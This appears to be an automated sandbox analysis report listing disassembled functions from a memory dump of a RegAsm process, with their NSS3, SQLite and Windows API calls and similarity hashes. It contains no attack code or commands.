Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 82a3a667bdf57e7efbe18c5348e52c9f1de81c1b68b46244073b122580a37bf9
Instruction ID: 20d3a57b1d10b376ced47a6402ffe734e5f189aa1d9d01a52d574b92177bb95d
Opcode Fuzzy Hash: 82a3a667bdf57e7efbe18c5348e52c9f1de81c1b68b46244073b122580a37bf9
Instruction Fuzzy Hash: F26184B3E081079FDB00CF68D8517BFB7B2AF85204F144165E415AB361E73AAD56CB92

Function 6C01CA30 Relevance: 12.2, APIs: 8, Instructions: 174COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C01CA95
EnterCriticalSection.KERNEL32(00000000), ref: 6C01CAA9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,00000000,?,6C01C8CF,?,?,?), ref: 6C01CAE7
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C01CB09
PK11_GetBlockSize.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?,6C01C8CF,?,?,?), ref: 6C01CB31

Part of subcall function 6C011490: PORT_Alloc_Util.NSS3(0000000C,?,?,?,?,6C01CB40,?,00000000), ref: 6C0114A1
Part of subcall function 6C011490: PORT_ZAlloc_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,6C01C8CF,?), ref: 6C0114C7
Part of subcall function 6C011490: memset.VCRUNTIME140(00000000,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C0114E4
Part of subcall function 6C011490: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000), ref: 6C0114F5

PR_Unlock.NSS3(?), ref: 6C01CB97
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C01CBB2
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C01C8CF), ref: 6C01CBE2

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: UnlockUtil$Alloc_$BlockCriticalEnterErrorItem_K11_SectionSizeValueZfreememcpymemset
String ID:
API String ID: 2753656479-0
Opcode ID: 82110d241139d2438d2640b5408ddb52aba196b87719e806bbdae7c2a1ce8799
Instruction ID: 8f3d4bc782808567966901a71695ce3369306f9417047d3246a7dca2cafb70c1
Opcode Fuzzy Hash: 82110d241139d2438d2640b5408ddb52aba196b87719e806bbdae7c2a1ce8799
Instruction Fuzzy Hash: 75516FB5E041199BDB05DFA8D880BEEB7F4BF08358F544128E908A7B11E735ED64CBA1

Function 6C0188E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C0188FC

Part of subcall function 6C02BE30: SECOID_FindOID_Util.NSS3(6BFE311B,00000000,?,6BFE311B,?), ref: 6C02BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C018913

Part of subcall function 6C030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BFD87ED,00000800,6BFCEF74,00000000), ref: 6C031000
Part of subcall function 6C030FF0: PR_NewLock.NSS3(?,00000800,6BFCEF74,00000000), ref: 6C031016
Part of subcall function 6C030FF0: PL_InitArenaPool.NSS3(00000000,security,6BFD87ED,00000008,?,00000800,6BFCEF74,00000000), ref: 6C03102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6C0FD864,?), ref: 6C018947

Part of subcall function 6C02E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C02E245
Part of subcall function 6C02E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C02E254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C01895B
DER_GetInteger_Util.NSS3(?), ref: 6C018973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C018982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C0189EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C018A12

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: 8a2c5aa6930d43fa220d2a4e837398018137636e459eb530605658596f1578a4
Instruction ID: 397bc2b355e80ff657a24879c07d08e65b858748d47a1eece0a1a025a014a52a
Opcode Fuzzy Hash: 8a2c5aa6930d43fa220d2a4e837398018137636e459eb530605658596f1578a4
Instruction Fuzzy Hash: CE3179B2A1C60053F72046B9AC417AEB2D48F9132CF2E0737D919D7F81FB25D64A8693

Function 6BFCAB70 Relevance: 12.1, APIs: 8, Instructions: 104pipeCOMMON

Download Yara Rule

APIs

CreatePipe.KERNEL32(?,?,?,00000000), ref: 6BFCABAF
GetLastError.KERNEL32 ref: 6BFCAC44
PR_SetError.NSS3(FFFFE896,00000000), ref: 6BFCAC50

Part of subcall function 6C07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C07C2BF

PR_SetError.NSS3(FFFFE890,00000000), ref: 6BFCAC62
CloseHandle.KERNEL32(?), ref: 6BFCAC75
CloseHandle.KERNEL32(?), ref: 6BFCAC7A

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Error$CloseHandle$CreateLastPipeValue
String ID:
API String ID: 4247729451-0
Opcode ID: 726ee99a4cb5c657bac3dda87725e99fa3bd37dec2d83c8eb7bb977ab7af9482
Instruction ID: dcfe26b746398d244a5876151939dd5e113f256ee329053621f00bdbe9280653
Opcode Fuzzy Hash: 726ee99a4cb5c657bac3dda87725e99fa3bd37dec2d83c8eb7bb977ab7af9482
Instruction Fuzzy Hash: 8831A076A001159FEB14DFA8D845AAFBBF4FF49308B248068D9099B361D735EC81CBA1

Function 6BFF4E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BFF4E90
EnterCriticalSection.KERNEL32 ref: 6BFF4EA9
TlsGetValue.KERNEL32 ref: 6BFF4EC6
EnterCriticalSection.KERNEL32 ref: 6BFF4EDF
PL_HashTableLookup.NSS3 ref: 6BFF4EF8
PR_Unlock.NSS3 ref: 6BFF4F05
PR_Now.NSS3 ref: 6BFF4F13
PR_Unlock.NSS3 ref: 6BFF4F3A

Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07AD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07CD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07D6
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6BF5204A), ref: 6BFC07E4
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,6BF5204A), ref: 6BFC0864
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BFC0880
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6BF5204A), ref: 6BFC08CB
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08D7
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08FB

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: d97632149202ab822da4c76fefa9de1787e18b62243c2eaa22644d6de1fa787e
Instruction ID: c7947fff9fdbf0695d97397ea3ac2fb5b9dbc7d466f766c9c56ecfbbf90d3997
Opcode Fuzzy Hash: d97632149202ab822da4c76fefa9de1787e18b62243c2eaa22644d6de1fa787e
Instruction Fuzzy Hash: 74415AB5A006059FCB00EF78C5849AABBF4FF49714B018569EC599B320EB34E896CF91

Function 6BFF4BA0 Relevance: 12.1, APIs: 8, Instructions: 80COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6BFFA6A2,?,?,00000000), ref: 6BFF4BB9
EnterCriticalSection.KERNEL32 ref: 6BFF4BD2
TlsGetValue.KERNEL32 ref: 6BFF4BEF
EnterCriticalSection.KERNEL32 ref: 6BFF4C08
PL_HashTableLookup.NSS3 ref: 6BFF4C21
PR_Unlock.NSS3 ref: 6BFF4C2E
PR_Now.NSS3 ref: 6BFF4C3D
PR_Unlock.NSS3 ref: 6BFF4C62

Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07AD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07CD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07D6
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6BF5204A), ref: 6BFC07E4
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,6BF5204A), ref: 6BFC0864
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BFC0880
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6BF5204A), ref: 6BFC08CB
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08D7
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08FB

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 6cf54d97460b2c4bef89345de06824a636593c66abb338aa80dceecb4c165416
Instruction ID: ae5558a70cbe26404e91b0f25b5bd83255c99645dfe3b7838839b0c2e472a637
Opcode Fuzzy Hash: 6cf54d97460b2c4bef89345de06824a636593c66abb338aa80dceecb4c165416
Instruction Fuzzy Hash: 29317FBAA00B059FDB10EF38C18445ABBF4FF49754B018969DD9997321EB34E891CBD1

Function 6BFF4A10 Relevance: 12.1, APIs: 8, Instructions: 80COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6BFF5385,?,?,00000000), ref: 6BFF4A29
EnterCriticalSection.KERNEL32 ref: 6BFF4A42
TlsGetValue.KERNEL32 ref: 6BFF4A5F
EnterCriticalSection.KERNEL32 ref: 6BFF4A78
PL_HashTableLookup.NSS3 ref: 6BFF4A91
PR_Unlock.NSS3 ref: 6BFF4A9E
PR_Now.NSS3 ref: 6BFF4AAD
PR_Unlock.NSS3 ref: 6BFF4AD2

Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07AD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07CD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07D6
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6BF5204A), ref: 6BFC07E4
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,6BF5204A), ref: 6BFC0864
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BFC0880
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6BF5204A), ref: 6BFC08CB
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08D7
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08FB

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 5e697f518e3b80313de04937655ba73e2b5ad3f143def768d860f0cca5c845e1
Instruction ID: 8df16ecd4c9f43a5572d6d0408c86785c40c4f330c0625b34accfe922b793282
Opcode Fuzzy Hash: 5e697f518e3b80313de04937655ba73e2b5ad3f143def768d860f0cca5c845e1
Instruction Fuzzy Hash: A63180B6A00A059FDB10EF39C18446AFBF4FF49354B058A69DD8997320EB34E891CBD1

Function 6C0E0860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6C0E7AE2,?,?,?,?,?,?,6C0E798A), ref: 6C0E086C

Part of subcall function 6C0E0930: EnterCriticalSection.KERNEL32(?,00000000,?,6C0E0C83), ref: 6C0E094F
Part of subcall function 6C0E0930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C0E0C83), ref: 6C0E0974
Part of subcall function 6C0E0930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C0E0983
Part of subcall function 6C0E0930: _PR_MD_UNLOCK.NSS3(?,?,6C0E0C83), ref: 6C0E099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6C0E7AE2,?,?,?,?,?,?,6C0E798A), ref: 6C0E087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6C0E7AE2,?,?,?,?,?,?,6C0E798A), ref: 6C0E0892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6C0E798A), ref: 6C0E08AA
free.MOZGLUE(?,00000000,00000000,?,?,6C0E7AE2,?,?,?,?,?,?,6C0E798A), ref: 6C0E08C7
free.MOZGLUE(?,00000000,00000000,?,?,6C0E7AE2,?,?,?,?,?,?,6C0E798A), ref: 6C0E08E9
free.MOZGLUE(?,6C0E7AE2,?,?,?,?,?,?,6C0E798A), ref: 6C0E08EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C0E7AE2,?,?,?,?,?,?,6C0E798A), ref: 6C0E090E

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 6ab20606d6e08dee67ce7f1ad09afcc5ab50caf5842dbf2a61be9d5fd2f93015
Instruction ID: 2a50ee1a549a323aa67116f6d0b11330e26acb76ae6a92a2e02a4d9ef7e427ab
Opcode Fuzzy Hash: 6ab20606d6e08dee67ce7f1ad09afcc5ab50caf5842dbf2a61be9d5fd2f93015
Instruction Fuzzy Hash: FD11E2F9B022405FFF10AF98D95578637F8AB4621CF280120E90A87750DFB5E846EBD2

Function 6C048C10 Relevance: 10.8, APIs: 7, Instructions: 279COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C048C93

Part of subcall function 6C07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C07C2BF

Part of subcall function 6C028A60: TlsGetValue.KERNEL32(6BFD61C4,?,6BFD5F9C,00000000), ref: 6C028A81
Part of subcall function 6C028A60: TlsGetValue.KERNEL32(?,?,?,6BFD5F9C,00000000), ref: 6C028A9E
Part of subcall function 6C028A60: EnterCriticalSection.KERNEL32(?,?,?,?,6BFD5F9C,00000000), ref: 6C028AB7
Part of subcall function 6C028A60: PR_Unlock.NSS3(?,?,?,?,?,6BFD5F9C,00000000), ref: 6C028AD2

memset.VCRUNTIME140(?,00000000,?), ref: 6C048CFB
memset.VCRUNTIME140(?,00000000,?), ref: 6C048D10

Part of subcall function 6C028970: TlsGetValue.KERNEL32(?,00000000,6BFD61C4,?,6BFD5639,00000000), ref: 6C028991
Part of subcall function 6C028970: TlsGetValue.KERNEL32(?,?,?,?,?,6BFD5639,00000000), ref: 6C0289AD
Part of subcall function 6C028970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6BFD5639,00000000), ref: 6C0289C6
Part of subcall function 6C028970: PR_WaitCondVar.NSS3 ref: 6C0289F7
Part of subcall function 6C028970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6BFD5639,00000000), ref: 6C028A0C

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockmemset$CondErrorWait
String ID:
API String ID: 2412912262-0
Opcode ID: 4cc97cabb03c6e55b33ec43c0f377bd02868ab95df7e93b9e61711c1d9a8ad69
Instruction ID: 76388ed71346627707cb9537b0662a2aa916250a2ac11f171eadda8e453eba49
Opcode Fuzzy Hash: 4cc97cabb03c6e55b33ec43c0f377bd02868ab95df7e93b9e61711c1d9a8ad69
Instruction Fuzzy Hash: DFB15CB0D00208DBDB15CF65D844BAEB7FAEF48308F14863ED91AA7751E731A955CB90

Function 6BF54F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BF54FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6BF551BB

Strings

unable to delete/modify user-function due to active statements, xrefs: 6BF551DF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6BF551A5
%s at line %d of [%.10s], xrefs: 6BF551B4
misuse, xrefs: 6BF551AF

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: c008953882cf0db017b5c957231eac87398e6c1b79981a17a9d04deb961bb1ff
Instruction ID: 86c10eb5fdd26fe2749954f837a9a977846126adaf4ef1a92dffb0687031d874
Opcode Fuzzy Hash: c008953882cf0db017b5c957231eac87398e6c1b79981a17a9d04deb961bb1ff
Instruction Fuzzy Hash: 6871A073B0420A9FDB00CE59CC80B9A7BF5BF58304F044565FE189B2A5D739E961CBA1

Function 6C0429E0 Relevance: 10.7, APIs: 7, Instructions: 181COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,00000000,00000000,?,?,6C0421DD,00000000), ref: 6C042A47
SEC_ASN1EncodeInteger_Util.NSS3(?,6C0421DD,00000002,00000000,00000000,?,?,6C0421DD,00000000), ref: 6C042A60
SECOID_FindOIDByTag_Util.NSS3(00000000,?,?,?,?,00000000,00000000,?,?,6C0421DD,00000000), ref: 6C042A8E
PK11_KeyGen.NSS3(00000000,?,00000000,83F089CA,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C042AE9
PORT_ArenaMark_Util.NSS3(00000000), ref: 6C042B0D
PK11_FreeSymKey.NSS3(?), ref: 6C042B7B
PK11_FreeSymKey.NSS3(?), ref: 6C042BD6

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: K11_Util$Free$ArenaEncodeErrorFindInteger_Mark_Tag_
String ID:
API String ID: 1625981074-0
Opcode ID: 9e03533db9bd7324d235655dd4c5b3d3f1607e599a1e4d5954e0da3238fcfe0d
Instruction ID: 9c8597df2222a38e75b62a2c863469383154ed27406bd3ae7aebcdf04cb1b47e
Opcode Fuzzy Hash: 9e03533db9bd7324d235655dd4c5b3d3f1607e599a1e4d5954e0da3238fcfe0d
Instruction Fuzzy Hash: 7751C071F00206DBEB109F65DC84BAB73E9AF4432CF158138ED19AB791E731E9198B91

Function 6BFE6980 Relevance: 10.6, APIs: 7, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 6BFE5DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BFE5DEC
Part of subcall function 6BFE5DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6BFE5E0F

SECITEM_DupItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BFE69BA

Part of subcall function 6C02FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6BFD9003,?), ref: 6C02FD91
Part of subcall function 6C02FD80: PORT_Alloc_Util.NSS3(A4686C03,?), ref: 6C02FDA2
Part of subcall function 6C02FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C03,?,?), ref: 6C02FDC4

VFY_EndWithSignature.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6BFE6A59
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BFE6AB7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BFE6ACA
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BFE6AE0
